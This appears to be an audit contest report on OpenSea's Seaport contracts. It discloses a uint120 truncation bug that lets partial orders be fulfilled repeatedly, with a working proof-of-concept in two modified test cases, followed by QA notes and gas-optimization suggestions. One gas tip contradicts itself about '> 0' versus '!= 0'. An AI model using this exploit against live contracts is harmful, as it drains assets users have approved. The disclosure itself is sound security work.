OpenSea Seaport contest - OriDabush's results

Lines of code

https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/OrderValidator.sol#L197-L239

Vulnerability details

Impact

Any (non basic or FULL) order can be fulfilled more than once, assuming the offerer has approved the contract the right amounts. This is a valid assumption as users may max-approve the contract/conduits, or have multiple orders with the same items open so the approve will be more than the order amount.

Proof of Concept

In this example I'll show how to fulfill an order and after the fulfillment make it become like it is un-fulfilled, i.e. its n and d will be 0 again. I'll assume that the order isn;t partially filled, which means I'm the first to interact with it (or another attacker performed this attack (; ).

1. The attacker calls one of the fulfillment functions with n = 1 and d = 2 and fulfill it regularly.
2. The attacker calls one of the fulfillment functions one more time, this time with n = 2 ** 118 and d = 2 ** 119 and fulfill the other half of it.
3. The function that calculates the new order's n and d will calculate them as the following:

new order n = 1 * 2**119 + 2 * 2**118 = 2**120

new order d = 2 * 2**119 = 2**120

and the new n and d will be calculated as the following:

current order n = 2**118 * 2 = 2**119

current order d = 2**119 * 2 = 2**120

Because of the order's n and d aren't casted back to uint120 and the amounts calculations are using uint256s, they will be valid and the calculations won't revert, which means that the fulfillment of the other half will succeed.

But the order's new n and d are casted to uint120 when saved back to storage, and because the maximal value of uint120 is 2**120 - 1, the new n and d will be 2**120 % 2**120 = 0.

This casting won't revert because solidity doesn't add a check for casting numeric variables that losses information. This will make the order "unfulfillable", i.e. it can be fulfilled regularly again.

• A very important note is that the check that the order amount must be completed cleanly, which means that the order amounts must be divisible by 2.

To assure this bug and exploit are correct, I modified 2 tests from the test file.

These are the modified tests:

it("Partial fills (standard)", async () => {
  // Seller mints nft
  const { nftId, amount } = await mintAndApprove1155(
    seller,
    marketplaceContract.address,
    10000
  );

  const offer = [getTestItem1155(nftId, amount.mul(10), amount.mul(10))];

  const consideration = [
    getItemETH(amount.mul(1000), amount.mul(1000), seller.address),
    getItemETH(amount.mul(10), amount.mul(10), zone.address),
    getItemETH(amount.mul(20), amount.mul(20), owner.address),
  ];

  const { order, orderHash, value } = await createOrder(
    seller,
    zone,
    offer,
    consideration,
    1 // PARTIAL_OPEN
  );

  let orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 0, i.e. unfulfilled order
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(false, false, 0, 0)
  );

  // fulfill half of the order
  order.numerator = 1;
  order.denominator = 2;

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 1 and 2, i.e. half of it is fulfilled
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(true, false, 1, 2)
  );

  // fulfill half of the order, using the exploit's values
  order.numerator = BigNumber.from(2).pow(118);
  order.denominator = BigNumber.from(2).pow(119);

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 0 even though the order is fully fulfilled
  // i.e. the exploit works
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(true, false, 0, 0)
  );

  // fill half of the order again to check that it is re-fulfillable
  order.numerator = 1; 
  order.denominator = 2; 

  const ordersClone = JSON.parse(JSON.stringify([order]));
  for (const [, clonedOrder] of Object.entries(ordersClone)) {
    clonedOrder.parameters.startTime = order.parameters.startTime;
    clonedOrder.parameters.endTime = order.parameters.endTime;

    for (const [j, offerItem] of Object.entries(
      clonedOrder.parameters.offer
    )) {
      offerItem.startAmount = order.parameters.offer[j].startAmount;
      offerItem.endAmount = order.parameters.offer[j].endAmount;
    }

    for (const [j, considerationItem] of Object.entries(
      clonedOrder.parameters.consideration
    )) {
      considerationItem.startAmount =
        order.parameters.consideration[j].startAmount;
      considerationItem.endAmount =
        order.parameters.consideration[j].endAmount;
    }
  }

  ordersClone[0].numerator = 1;
  ordersClone[0].denominator = 2;

  await withBalanceChecks(ordersClone, 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order: ordersClone[0],
          orderHash,
          fulfiller: buyer.address,
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);
  // check that the order's n and d are 1 and 2
  // i.e. half of it is fulfilled (which is actually one and a half)
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(true, false, 1, 2)
  );
});

it("Partial fills (standard, additional permutations)", async () => {
  // Seller mints nft
  const { nftId, amount } = await mintAndApprove1155(
    seller,
    marketplaceContract.address,
    10000
  );

  const offer = [getTestItem1155(nftId, amount.mul(10), amount.mul(10))];

  const consideration = [
    getItemETH(amount.mul(1000), amount.mul(1000), seller.address),
    getItemETH(amount.mul(10), amount.mul(10), zone.address),
    getItemETH(amount.mul(20), amount.mul(20), owner.address),
  ];

  const { order, orderHash, value } = await createOrder(
    seller,
    zone,
    offer,
    consideration,
    1 // PARTIAL_OPEN
  );

  let orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 0, i.e. unfulfilled order
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(false, false, 0, 0)
  );

  // fulfill half of the order
  order.numerator = 1; 
  order.denominator = 2; 

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 1 and 2, i.e. half of it is fulfilled
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(true, false, 1, 2)
  );

  // fulfill half of the order using the exploit's values
  order.numerator = BigNumber.from(2).pow(118);
  order.denominator = BigNumber.from(2).pow(119);

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 0 even though the order is fully fulfilled
  // i.e. the exploit works
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(true, false, 0, 0)
  );

  // fill half of the order again to check that it is re-fulfillable
  order.numerator = 1;
  order.denominator = 2;

  const ordersClone = JSON.parse(JSON.stringify([order]));
  for (const [, clonedOrder] of Object.entries(ordersClone)) {
    clonedOrder.parameters.startTime = order.parameters.startTime;
    clonedOrder.parameters.endTime = order.parameters.endTime;

    for (const [j, offerItem] of Object.entries(
      clonedOrder.parameters.offer
    )) {
      offerItem.startAmount = order.parameters.offer[j].startAmount;
      offerItem.endAmount = order.parameters.offer[j].endAmount;
    }

    for (const [j, considerationItem] of Object.entries(
      clonedOrder.parameters.consideration
    )) {
      considerationItem.startAmount =
        order.parameters.consideration[j].startAmount;
      considerationItem.endAmount =
        order.parameters.consideration[j].endAmount;
    }
  }

  ordersClone[0].numerator = 1;
  ordersClone[0].denominator = 2;

  await withBalanceChecks(ordersClone, 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order: ordersClone[0],
          orderHash,
          fulfiller: buyer.address,
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 1 and 2
  // i.e. half of it is fulfilled (which is actually one and a half)
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(true, false, 1, 2)
  );
});

When running the tests, the passed! Which means the expected n and d are the actual values, and that the exploit actually works!

Tools Used

Remix, VS Code and my brain.

Recommended Mitigation Steps

Check that n < type(uint120).max && d < type(uint120).max before down-casting n and d from uint256 to uint120. That will prevent the invalid values of n and d from being saved to the storage.

QA Report (low and non-critical bugs)

Multiple cancelation of an order

A user can cancel an order multiple times (it will emit the OrderCancelled event even though it was already cancelled). Maybe it should first check if the order is already cancelled.

Unhandled TODO comments

You left some TODO comments in the tests file (index.js) and in the BaseOrderTest test contract, which may contain stuff you need to do and haven't done.

Mistake in the comment

The comment in line 180 in the FulfillmentApplier contract says "Set the offerer as the recipient if execution amount is nonzero", however the code sets the offerer as the recipient if the execution amount is zero.

Wrong reference implementation

The ReferenceFulfillmentApplier contract doesn't revert if a non-matching item is being fulfilled, wether it is an offer or a consideration item.

In the _aggregateValidFulfillmentOfferItems function we can see the assignment of the return value of the _checkMatchingOffer function to the invalidFulfillment variable, but right after it the value in the invalidFulfillment variable is being overwritten in the beginning of the next iteration of the loop, without checking it is valid.

Similarly, in the _aggregateValidFulfillmentConsiderationItems function there's an assignment to the potentialCandidate.invalidFulfillment variable and right after it its value is overwritten by other value without checking that it is valid.

A fix to that issue will be to check if it is valid before overwriting it (and reverting if not), or adding a check that the value is valid to the loop condition, so it'll break if it is invalid and revert right after the loop.

Gas Optimizations

Redundant variable initialization

Variables in solidity are initialized to their default value, and initializing them to the same value actually costs more gas. So for example, using uint i; instead of uint i = 0; can reduce the gas cost. This optimization also works in yul, where let x is cheaper than let x := 0.

There are multiple places where this issue can be seen, mostly in loops:

• AmountDeriver
  • line 44
• BasicAmountFulfiller
  • line 504
  • line 948
  • line 1040
• CriteriaResolution
  • line 56
  • line 166
  • line 184
  • line 199
• FulfillmentApplier
  • line 271
  • line 274
  • line 568
  • line 571
• GettersAndDerivers
  • line 78
  • line 133
• OrderCombiner
  • line 181
  • line 247
  • line 291
  • line 373
  • line 470
  • line 473
  • line 498
  • line 577
  • line 598
  • line 621
  • line 751
  • line 754
• OrderFulfiller
  • line 217
  • line 306
  • line 471
• OrderValidator
  • line 272
  • line 350
• Conduit
  • line 66
  • line 130

Usage of unchecked can be added

Unchecked can be used in some places where we know for sure that the calculations won't overflow or underflow.

There are multiple places where this issue can be seen:

• FulfillmentApplier

  • line 100 and line 112:

    We know that if we entered the if section then considerationItem.amount > execution.item.amount so we can use unchecked when calculating considerationItem.amount - execution.item.amount, and if we entered the else section then considerationItem.amount <= execution.item.amount so we can use unchecked when calculating execution.item.amount - considerationItem.amount.

• OrderCombiner

  • line 229:

    We know that maximumFulfilled > 0 if we reached this line, so maximumFulfilled--; won't underflow.

• OrderFulfiller

  • lines 163-165

    The calculations here uses the time limits of an order, which are checked before (orderParameters.startTime <= block.timestamp < orderParameters.endTime), so these calculations won't underflow.

• ReferenceOrderFulfiller (I know it's not deployed but still worth mentioning, it is also optimized using unchecked in the regular contract)

  • line 224 and line 277

    We know that amount <= etherRemaining, so the calculation of etherRemaining -= amount won't underflow.

Prefix increment or decrement variables costs less gas

The operation i++ costs more gas than ++i, and they are equivalent if the return value of them is not used after the operation. The same is correct for i-- and --i. So whenever we can use ++i or --i instead of i++ or i--, we should do so.

We can see it in multiple places in the code:

• OrderCombiner
  • line 229
  • line 490
  • line 515
  • line 769
• ReferenceBasicOrderFulfiller (I know it's not deployed but still worth mentioning)
  • line 715

Redundant return statements

There's no need to use a return statement when you declare the return values as variables.

This can be seen in multiple places:

• FulfillmentApplier
  • line 120
• OrderCombiner
  • line 135
  • line 547
  • line 791
• OrderValidator
  • line 242

Cache array's length when iterating through it

When iterating through an array, we can cache the length of the array and use it to avoid accessing the length in every iteration.

This can be done in multiple places:

• OrderCombiner
  • line 247
  • line 291
  • line 598
  • line 621
• OrderFulfiller
  • line 217
  • line 306

Increment loop index in the end of the loop body

Incrementing the loop index in the end of the loop body instead of in the loop declaration costs less gas.

For example, the following code:

for (uint i; i < arr.length; ++i) {
    // body
}

will cost more gas then this code:

for (uint i; i < arr.length; ) {
    // body
    ++i;
}

This can be done in multiple places:

• CriteriaResolution
  • line 56
  • line 166
  • line 184
  • line 199
• OrderCombiner
  • line 181
  • line 247
  • line 291
  • line 373
  • line 473
  • line 498
  • line 577
  • line 598
  • line 754
• OrderFulfiller
  • line 471

Use > 0 instead of != 0

Comparing uints to zero using > 0 is more efficient than using != 0, so for example evaluating the expression x > 0 will cost more gas than evaluating the expression x != 0.

We can apply this in multiple places in the code:

• OrderCombiner
  • line 525
  • line 603
  • line 657
  • line 776
• OrderFulfiller
  • line 376
• OrderValidator
  • line 197
• Verifiers
  • line 120

Cache array elements

When accessing a struct field or array element or calculating an expression multiple times, it is better to cache it to avoid calculating the same thing multiple times (whether it is the address of the element or the expression itself).

This can be done in multiple places in the code:

• OrderCombiner
  • line 375 and line 386 - orderHashes[i] can be cached to avoid accessing it twice in every iteration.
  • line 629 and line 635 - item.amount can be cached instead of being accessed twice.
  • line 215 and line 229 - the expression filledNumerator + numerator can be cached in order avoid calculating it twice.
  • lines 226-231 and lines 235-238 - cache _orderStatus[orderHash] instead of accessing it 4 times.

Save the current index instead of calculating it in every iteration

In line 493 and in line 519 of the OrderCombiner contract, the current index in the executions array is calculated. To avoid this calculation, we can save the current index instead of saving the number of filtered executions, and increment it whenever we use this index.

In addition, this index variable can be used to set the actual length of the array in line 530, instead of calculating it. This will also save using an mload.

This is how it currently looks:

for (uint256 i = 0; i < totalOfferFulfillments; ++i) {
    /// Retrieve the offer fulfillment components in question.
    FulfillmentComponent[] memory components = (
        offerFulfillments[i]
    );

    // Derive aggregated execution corresponding with fulfillment.
    Execution memory execution = _aggregateAvailable(
        advancedOrders,
        Side.OFFER,
        components,
        fulfillerConduitKey
    );

    // If offerer and recipient on the execution are the same...
    if (execution.item.recipient == execution.offerer) {
        // increment total filtered executions.
        totalFilteredExecutions += 1;
    } else {
        // Otherwise, assign the execution to the executions array.
        executions[i - totalFilteredExecutions] = execution;
    }
}

// Iterate over each consideration fulfillment.
for (uint256 i = 0; i < totalConsiderationFulfillments; ++i) {
    /// Retrieve consideration fulfillment components in question.
    FulfillmentComponent[] memory components = (
        considerationFulfillments[i]
    );

    // Derive aggregated execution corresponding with fulfillment.
    Execution memory execution = _aggregateAvailable(
        advancedOrders,
        Side.CONSIDERATION,
        components,
        fulfillerConduitKey
    );

    // If offerer and recipient on the execution are the same...
    if (execution.item.recipient == execution.offerer) {
        // increment total filtered executions.
        totalFilteredExecutions += 1;
    } else {
        // Otherwise, assign the execution to the executions array.
        executions[
            i + totalOfferFulfillments - totalFilteredExecutions
        ] = execution;
    }
}

// If some number of executions have been filtered...
if (totalFilteredExecutions != 0) {
    // reduce the total length of the executions array.
    assembly {
        mstore(
            executions,
            sub(mload(executions), totalFilteredExecutions)
        )
    }
}

And this is how it will look after applying this optimization:

uint executions_index;

for (uint256 i = 0; i < totalOfferFulfillments; ++i) {
    /// Retrieve the offer fulfillment components in question.
    FulfillmentComponent[] memory components = (
        offerFulfillments[i]
    );

    // Derive aggregated execution corresponding with fulfillment.
    Execution memory execution = _aggregateAvailable(
        advancedOrders,
        Side.OFFER,
        components,
        fulfillerConduitKey
    );

    // If offerer and recipient on the execution are the same...
    if (execution.item.recipient != execution.offerer) {
        executions[executions_index++] = execution;
    }
}

// Iterate over each consideration fulfillment.
for (uint256 i = 0; i < totalConsiderationFulfillments; ++i) {
    /// Retrieve consideration fulfillment components in question.
    FulfillmentComponent[] memory components = (
        considerationFulfillments[i]
    );

    // Derive aggregated execution corresponding with fulfillment.
    Execution memory execution = _aggregateAvailable(
        advancedOrders,
        Side.CONSIDERATION,
        components,
        fulfillerConduitKey
    );

    // If offerer and recipient on the execution are the same...
    if (execution.item.recipient != execution.offerer) {
        executions[executions_index++] = execution;
    }
}

// reduce the total length of the executions array.
assembly {
    mstore(
        executions,
        executions_index
    )
}

Create two versions of the _aggregateAvailable function

Create two versions of the _aggregateAvailable function, a function for the OFFER side and a function for the CONSIDERATION side. This will reduce the arguments number by one, and will save evaluating the if statement in the _aggregateAvailable function (which checks which side is given).

Loop optimization in BasicOrderFulfiller

The _transferERC20AndFinalize function of the BasicOrderFulfiller contract has a loop which checks in every iteration whether the fromOfferer boolean variable which is given as an argument to the function is true or false. To prevent checking the same condition in every iteration, we can check this condition before the loop, and then execute the loop code with the right code for every case.

The current code looks like this:

for (uint256 i = 0; i < totalAdditionalRecipients; ) {
    // Retrieve the additional recipient.
    AdditionalRecipient calldata additionalRecipient = (
        additionalRecipients[i]
    );

    uint256 additionalRecipientAmount = additionalRecipient.amount;

    // Decrement the amount to transfer to fulfiller if indicated.
    if (fromOfferer) {
        amount -= additionalRecipientAmount;
    }

    // Transfer ERC20 tokens to additional recipient given approval.
    _transferERC20(
        erc20Token,
        from,
        additionalRecipient.recipient,
        additionalRecipientAmount,
        conduitKey,
        accumulator
    );

    // Skip overflow check as for loop is indexed starting at zero.
    unchecked {
        ++i;
    }
}

But after applying the optimization it will look like this:

if (fromOfferer) {
    for (uint256 i = 0; i < totalAdditionalRecipients; ) {
        // Retrieve the additional recipient.
        AdditionalRecipient calldata additionalRecipient = (
            additionalRecipients[i]
        );

        uint256 additionalRecipientAmount = additionalRecipient.amount;

        // Decrement the amount to transfer to fulfiller if indicated.
        amount -= additionalRecipientAmount;

        // Transfer ERC20 tokens to additional recipient given approval.
        _transferERC20(
            erc20Token,
            from,
            additionalRecipient.recipient,
            additionalRecipientAmount,
            conduitKey,
            accumulator
        );

        // Skip overflow check as for loop is indexed starting at zero.
        unchecked {
            ++i;
        }
    }
} else {
    for (uint256 i = 0; i < totalAdditionalRecipients; ) {
        // Retrieve the additional recipient.
        AdditionalRecipient calldata additionalRecipient = (
            additionalRecipients[i]
        );

        uint256 additionalRecipientAmount = additionalRecipient.amount;

        // Transfer ERC20 tokens to additional recipient given approval.
        _transferERC20(
            erc20Token,
            from,
            additionalRecipient.recipient,
            additionalRecipientAmount,
            conduitKey,
            accumulator
        );

        // Skip overflow check as for loop is indexed starting at zero.
        unchecked {
            ++i;
        }
    }
}

Redundant assignment

In the _applyFulfillment function of the FulfillmentApplier contract there is an assignment which occurs after an if statement, but is redundant for one case in this if, so it can be done only if we enter the second case of this if (the else case).

As you can see here:

// If total consideration amount exceeds the offer amount...
if (considerationItem.amount > execution.item.amount) {
    // Retrieve the first consideration component from the fulfillment.
    FulfillmentComponent memory targetComponent = (
        considerationComponents[0]
    );

    // Add excess consideration item amount to original array of orders.
    advancedOrders[targetComponent.orderIndex]
        .parameters
        .consideration[targetComponent.itemIndex]
        .startAmount = considerationItem.amount - execution.item.amount;

    // Reduce total consideration amount to equal the offer amount.
    considerationItem.amount = execution.item.amount;
} else {
    // Retrieve the first offer component from the fulfillment.
    FulfillmentComponent memory targetComponent = (offerComponents[0]);

    // Add excess offer item amount to the original array of orders.
    advancedOrders[targetComponent.orderIndex]
        .parameters
        .offer[targetComponent.itemIndex]
        .startAmount = execution.item.amount - considerationItem.amount;
}

// Reuse execution struct with consideration amount and recipient.
execution.item.amount = considerationItem.amount;

If we enter the if case, then considerationItem.amount = execution.item.amount; is executed and there's no point in executing execution.item.amount = considerationItem.amount; too. So it can be moved to the end of the else case like this:

// If total consideration amount exceeds the offer amount...
if (considerationItem.amount > execution.item.amount) {
    // Retrieve the first consideration component from the fulfillment.
    FulfillmentComponent memory targetComponent = (
        considerationComponents[0]
    );

    // Add excess consideration item amount to original array of orders.
    advancedOrders[targetComponent.orderIndex]
        .parameters
        .consideration[targetComponent.itemIndex]
        .startAmount = considerationItem.amount - execution.item.amount;

    // Reduce total consideration amount to equal the offer amount.
    considerationItem.amount = execution.item.amount;
} else {
    // Retrieve the first offer component from the fulfillment.
    FulfillmentComponent memory targetComponent = (offerComponents[0]);

    // Add excess offer item amount to the original array of orders.
    advancedOrders[targetComponent.orderIndex]
        .parameters
        .offer[targetComponent.itemIndex]
        .startAmount = execution.item.amount - considerationItem.amount;

    // Reuse execution struct with consideration amount and recipient.
    execution.item.amount = considerationItem.amount;
}

Avoid updating the array's length in every iteration

The update of the array's length is not necessary in every iteration of the loop, it can be done once in the end of the loop.

The accumulator can accumulate more than it does currently

In the current implementation, if one of the transfer functions receives zero conduit key, which doesn't require any conduit's action and any accumulation, it first triggers the accumulator and then transfers the tokens, and it is redundant because the accumulator can have potentially more to accumulate after this transfer which didn't use it at all.

The accumulator needs to be triggered only if a different non-zero conduit key is received, or the end of the transfers is reached.

We can see the call to _triggerIfArmedAndNotAccumulatable in the _transferERC20 function here even if the conduit key is zero. Instead, we can modify the code this way:

// If no conduit has been specified...
if (conduitKey == bytes32(0)) {
    // Perform the token transfer directly.
    _performERC20Transfer(token, from, to, amount);
} else {
    // Trigger accumulated transfers if the conduits differ.
    _triggerIfArmedAndNotAccumulatable(accumulator, conduitKey);

    // Insert the call to the conduit into the accumulator.
    _insert(
        conduitKey,
        accumulator,
        uint256(1),
        token,
        from,
        to,
        uint256(0),
        amount
    );
}

Avoid calculating the same expression twice

Instead of calculating i + 1 to update the array's length in the _validateOrdersAndPrepareToFulfill function of the OrderCombiner contract, we can modify the code to increment i before updating the length, and avoiding calculating i + 1 twice (once for the array's length, and one for incrementing the loop index).

The current code looks like this:

 // Iterate over each order.
for (uint256 i = 0; i < totalOrders; ++i) {
    // Retrieve the current order.
    AdvancedOrder memory advancedOrder = advancedOrders[i];

    // Determine if max number orders have already been fulfilled.
    if (maximumFulfilled == 0) {
        // Mark fill fraction as zero as the order will not be used.
        advancedOrder.numerator = 0;

        // Update the length of the orderHashes array.
        assembly {
            mstore(orderHashes, add(i, 1))
        }

        // Continue iterating through the remaining orders.
        continue;
    }

    // Validate it, update status, and determine fraction to fill.
    (
        bytes32 orderHash,
        uint256 numerator,
        uint256 denominator
    ) = _validateOrderAndUpdateStatus(
            advancedOrder,
            criteriaResolvers,
            revertOnInvalid,
            orderHashes
        );

    // Update the length of the orderHashes array.
    assembly {
        mstore(orderHashes, add(i, 1))
    }

    // Do not track hash or adjust prices if order is not fulfilled.
    if (numerator == 0) {
        // Mark fill fraction as zero if the order is not fulfilled.
        advancedOrder.numerator = 0;

        // Continue iterating through the remaining orders.
        continue;
    }

    // Otherwise, track the order hash in question.
    orderHashes[i] = orderHash;

    // more code that doesn't use i
}

But after applying the optimization, it'll something like this:

 // Iterate over each order.
for (uint256 i = 0; i < totalOrders; ) {
    // Retrieve the current order.
    AdvancedOrder memory advancedOrder = advancedOrders[i];

    // Determine if max number orders have already been fulfilled.
    if (maximumFulfilled == 0) {
        // Mark fill fraction as zero as the order will not be used.
        advancedOrder.numerator = 0;

        ++i;

        // Update the length of the orderHashes array.
        assembly {
            mstore(orderHashes, i)
        }

        // Continue iterating through the remaining orders.
        continue;
    }

    // Validate it, update status, and determine fraction to fill.
    (
        bytes32 orderHash,
        uint256 numerator,
        uint256 denominator
    ) = _validateOrderAndUpdateStatus(
            advancedOrder,
            criteriaResolvers,
            revertOnInvalid,
            orderHashes
        );


    // Do not track hash or adjust prices if order is not fulfilled.
    if (numerator == 0) {
        // Mark fill fraction as zero if the order is not fulfilled.
        advancedOrder.numerator = 0;

        ++i;

        // Update the length of the orderHashes array.
        assembly {
            mstore(orderHashes, i)
        }

        // Continue iterating through the remaining orders.
        continue;
    }

    // Otherwise, track the order hash in question.
    orderHashes[i] = orderHash;

    ++i;

    // Update the length of the orderHashes array.
    assembly {
        mstore(orderHashes, i)
    }

    // more code that doesn't use i
}